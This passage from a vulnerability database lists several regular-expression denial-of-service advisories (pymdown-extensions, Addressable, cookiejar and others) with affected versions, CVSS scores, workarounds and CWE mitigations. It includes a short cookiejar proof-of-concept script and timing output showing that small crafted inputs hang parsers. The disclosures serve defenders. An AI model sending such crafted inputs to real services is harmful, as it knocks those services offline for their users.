(x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) \u2014 the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) \u2014 notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable=\u0027underscore\u0027`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed \u2014 the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`\u0027s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).",
  "id": "GHSA-gm37-52c6-37mw",
  "modified": "2026-08-07T18:26:07Z",
  "published": "2026-08-07T18:26:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/pymdown-extensions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}

GHSA-GPVJ-GP8C-C7P2

Vulnerability from github – Published: 2023-02-12 15:30 – Updated: 2026-02-03 17:53
VLAI
Summary
Regular Expression Denial of Service in simple-markdown
Details

A vulnerability has been found in simple-markdown 0.5.1 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file simple-markdown.js. The manipulation leads to inefficient regular expression complexity. The attack can be launched remotely. Upgrading to version 0.5.2 is able to address this issue. The name of the patch is 89797fef9abb4cab2fb76a335968266a92588816. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-220639.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-25103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-14T01:02:08Z",
    "nvd_published_at": "2023-02-12T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been found in simple-markdown 0.5.1 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file simple-markdown.js. The manipulation leads to inefficient regular expression complexity. The attack can be launched remotely. Upgrading to version 0.5.2 is able to address this issue. The name of the patch is 89797fef9abb4cab2fb76a335968266a92588816. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-220639.",
  "id": "GHSA-gpvj-gp8c-c7p2",
  "modified": "2026-02-03T17:53:00Z",
  "published": "2023-02-12T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25103"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Khan/simple-markdown/issues/71"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/commit/89797fef9abb4cab2fb76a335968266a92588816"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ariabuckles/simple-markdown"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/releases/tag/0.5.2"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SIMPLEMARKDOWN-460540"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.220639"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.220639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in simple-markdown"
}

GHSA-GQV6-F424-3G7H

Vulnerability from github – Published: 2024-02-16 09:30 – Updated: 2024-08-23 00:31
VLAI
Details

An issue in alanclarke URLite v.3.1.0 allows an attacker to cause a denial of service (DoS) via a crafted payload to the parsing function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-51931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-16T09:15:08Z",
    "severity": "HIGH"
  },
  "details": "An issue in alanclarke URLite v.3.1.0 allows an attacker to cause a denial of service (DoS) via a crafted payload to the parsing function.",
  "id": "GHSA-gqv6-f424-3g7h",
  "modified": "2024-08-23T00:31:37Z",
  "published": "2024-02-16T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51931"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alanclarke/urlite/issues/61"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/6en6ar/c792d8337b63f095cbda907e834cb4ba"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GWRP-82JW-P87Q

Vulnerability from github – Published: 2024-04-30 15:30 – Updated: 2024-07-03 18:37
VLAI
Details

An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-28716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-30T15:15:52Z",
    "severity": "HIGH"
  },
  "details": "An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.",
  "id": "GHSA-gwrp-82jw-p87q",
  "modified": "2024-07-03T18:37:40Z",
  "published": "2024-04-30T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28716"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/solum/+bug/2047505"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/11x-6CjWCyap8_W1JpVzun56HQkPNLtWT/view?usp=drive_link"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Fewword/f098d8d6375ac25e27b18c0e57be532f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H27X-RFFW-24P4

Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-05-13 16:20
VLAI
Summary
Addressable has a Regular Expression Denial of Service in Addressable templates
Details

Impact

Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:

  1. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI.
  2. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables.

When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.

Users of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.

Affected Versions

This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.

The vulnerability is more exploitable on MRI Ruby < 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.

This has been confirmed on the following runtimes:

Runtime Status
MRI Ruby 2.6 Vulnerable
MRI Ruby 2.7 Vulnerable
MRI Ruby 3.0 Vulnerable
MRI Ruby 3.1 Vulnerable
MRI Ruby 3.2 Partially vulnerable
MRI Ruby 3.3 Partially vulnerable
MRI Ruby 3.4 Partially vulnerable
MRI Ruby 4.0 Partially vulnerable
JRuby 10.0 Vulnerable
TruffleRuby 21.2 Vulnerable

Workarounds

  • Upgrade to MRI Ruby 3.2 or later, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above — templates using the * modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use {+v1,v2,...} or {#v1,v2,...} syntax.

  • Avoid using vulnerable template patterns when matching user-supplied input on unpatched versions of the library:

  • Templates using the * (explode) modifier: {foo*}, {+var*}, {#var*}, {.var*}, {/var*}, {;var*}, {?var*}, {&var*}
  • Templates using multiple variables with the + or # operators: {+v1,v2}, {#v1,v2,v3}, etc.

  • Apply a short timeout around any call to Template#match or Template#extract that processes user-supplied data.

References

  • https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
  • https://cwe.mitre.org/data/definitions/1333.html
  • https://www.regular-expressions.info/catastrophic.html

Credits

Discovered in collaboration with @jamfish.

For more information

If you have any questions or comments about this advisory: * Open an issue

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "addressable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:05:27Z",
    "nvd_published_at": "2026-04-07T17:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWithin the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:\n\n1. Templates using the `*` (explode) modifier with any expansion operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `{/var*}`, `{.var*}`, `{;var*}`, `{?var*}`, `{\u0026var*}`) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI.\n2. Templates using multiple variables with the `+` or `#` operators (e.g., `{+v1,v2,v3}`) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables.\n\nWhen matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.\n\nUsers of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable \u003e= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.\n\nThe vulnerability is more exploitable on MRI Ruby \u003c 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.\n\nThis has been confirmed on the following runtimes:\n\n| Runtime | Status |\n|---------|--------|\n| MRI Ruby 2.6 | Vulnerable |\n| MRI Ruby 2.7 | Vulnerable |\n| MRI Ruby 3.0 | Vulnerable |\n| MRI Ruby 3.1 | Vulnerable |\n| MRI Ruby 3.2 | Partially vulnerable |\n| MRI Ruby 3.3 | Partially vulnerable |\n| MRI Ruby 3.4 | Partially vulnerable |\n| MRI Ruby 4.0 | Partially vulnerable |\n| JRuby 10.0 | Vulnerable |\n| TruffleRuby 21.2 | Vulnerable |\n\n### Workarounds\n\n- **Upgrade to MRI Ruby 3.2 or later**, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above \u2014 templates using the `*` modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use `{+v1,v2,...}` or `{#v1,v2,...}` syntax.\n\n- **Avoid using vulnerable template patterns** when matching user-supplied input on unpatched versions of the library:\n  - Templates using the `*` (explode) modifier: `{foo*}`, `{+var*}`, `{#var*}`, `{.var*}`, `{/var*}`, `{;var*}`, `{?var*}`, `{\u0026var*}`\n  - Templates using multiple variables with the `+` or `#` operators: `{+v1,v2}`, `{#v1,v2,v3}`, etc.\n\n- **Apply a short timeout** around any call to `Template#match` or `Template#extract` that processes user-supplied data.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n- https://cwe.mitre.org/data/definitions/1333.html\n- https://www.regular-expressions.info/catastrophic.html\n\n### Credits\n\nDiscovered in collaboration with @jamfish.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)",
  "id": "GHSA-h27x-rffw-24p4",
  "modified": "2026-05-13T16:20:52Z",
  "published": "2026-04-08T00:05:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/CVE-2026-35611.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sporkmonger/addressable"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Addressable has a Regular Expression Denial of Service in Addressable templates"
}

GHSA-H2GH-PW44-5QF5

Vulnerability from github – Published: 2023-08-25 03:30 – Updated: 2024-04-04 07:12
VLAI
Details

Regular expression Denial-of-Service (ReDoS) exists in multiple add-ons for Mailform Pro CGI 4.3.1.3 and earlier, which allows a remote unauthenticated attacker to cause a denial-of-service condition. Affected add-ons are as follows: call/call.js, prefcodeadv/search.cgi, estimate/estimate.js, search/search.js, suggest/suggest.js, and coupon/coupon.js.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-25T03:15:08Z",
    "severity": "HIGH"
  },
  "details": "Regular expression Denial-of-Service (ReDoS) exists in multiple add-ons for Mailform Pro CGI 4.3.1.3 and earlier, which allows a remote unauthenticated attacker to cause a denial-of-service condition. Affected add-ons are as follows: call/call.js, prefcodeadv/search.cgi, estimate/estimate.js, search/search.js, suggest/suggest.js, and coupon/coupon.js.",
  "id": "GHSA-h2gh-pw44-5qf5",
  "modified": "2024-04-04T07:12:02Z",
  "published": "2023-08-25T03:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40599"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN86484824"
    },
    {
      "type": "WEB",
      "url": "https://www.synck.com/blogs/news/newsroom/detail_1691668841.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H452-7996-H45H

Vulnerability from github – Published: 2023-01-18 06:31 – Updated: 2025-02-13 18:36
VLAI
Summary
cookiejar Regular Expression Denial of Service via Cookie.parse function
Details

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "cookiejar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.webjars.npm:cookiejar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25901"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-23T16:59:52Z",
    "nvd_published_at": "2023-01-18T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.\n\nProof of concept:\n\n```\nts\\nconst { CookieJar } = require(\"cookiejar\");\n\nconst jar = new CookieJar();\n\nconst start = performance.now();\n\nconst attack = \"a\" + \"t\".repeat(50_000);\njar.setCookie(attack);\n\nconsole.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);\n\n```\n\n```\nCookieJar.setCookie(): 2963.214399999939ms\n```",
  "id": "GHSA-h452-7996-h45h",
  "modified": "2025-02-13T18:36:34Z",
  "published": "2023-01-18T06:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25901"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bmeck/node-cookiejar/pull/39"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bmeck/node-cookiejar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "cookiejar Regular Expression Denial of Service via Cookie.parse function"
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.